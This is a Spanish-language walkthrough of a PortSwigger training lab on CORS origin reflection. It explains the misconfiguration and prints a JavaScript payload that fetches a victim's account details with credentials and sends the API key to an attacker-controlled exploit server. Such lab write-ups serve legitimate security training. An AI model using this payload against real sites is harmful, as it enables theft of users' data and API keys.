CORS vulnerability with basic origin reflection
Laboratorio de Portswigger sobre CORS
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este sitio web
tiene una configuración insegura
de Cross-Origin Resource Sharing (CORS)
, ya que confía en todos los orígenes
. Para resolver
el laboratorio
, debemos crear un script de JavaScript
que utilice Cross-Origin Resource Sharing (CORS)
para obtener la clave API
del administrador
y subir el script
a nuestro servidor de explotación
. El laboratorio
se considerará resuelto cuando enviemos con éxito la clave API
del administrador
. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Guía de CORS
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de CORS
https://justice-reaper.github.io/posts/CORS-Guide/
Resolución
Al acceder
a la web
vemos esto
Hacemos click
sobre My account
y nos logueamos
con las credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
y una clave API
Cuando accedemos a /my-account
después de iniciar sesión
vemos que se manda una petición
a /accountDetails
y recibimos
una respuesta
con los datos
de nuestro usuario
. Lo destacable de esto es que el servidor
nos responde
con la cabecera Access-Control-Allow-Credentials: true
Si mandamos
esta petición
al Repeater
e inyectamos
la cabecera Origin: https://vulnerable.com
se ve reflejada
en la respuesta
Que el servidor
responda con la cabecera Access-Control-Allow-Credentials: true
no lo hace vulnerable. Lo que lo hace vulnerable es la combinación
de esa cabecera con Access-Control-Allow-Origin: *
o, como en este caso, que no valide la cabecera
y nos deje proporcionar a nosotros una Access-Control-Allow-Origin: https://vulnerable.com
. Cuando se cumplen estos requisitos
, podemos aprovechar estas políticas de CORS inseguras
para obtener datos de otros usuarios
. Para ello, nos dirigimos al Exploit server
y construimos este payload
1
2
3
4
5
6
7
8
9
10
11
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://0a4c0053031c0975805453b000ba00f4.web-security-academy.net/accountDetails', true);
req.withCredentials = true;
req.send();
function reqListener() {
location = 'https://exploit-0a6200f003d609a280ef523c01720026.exploit-server.net/log?key=' + this.responseText;
};
</script>
Pulsamos sobre View exploit
, nos dirigimos a Access log
y vemos cómo se ha hecho una petición
a nuestro exploit
y posteriormente se envían
los datos del usuario víctima
a nuestro servidor
Una vez que hemos comprobado que funciona pulsamos
sobre Deliver exploit to victim
, nos dirigimos al Access log
y vemos que recibimos información del usuario víctima
en formato URL encoded
Nos dirigimos al Decoder
, pegamos
la información obtenida y la URL decodeamos
Nos copiamos
al apiKey
, pulsamos en Submit solution
y la pegamos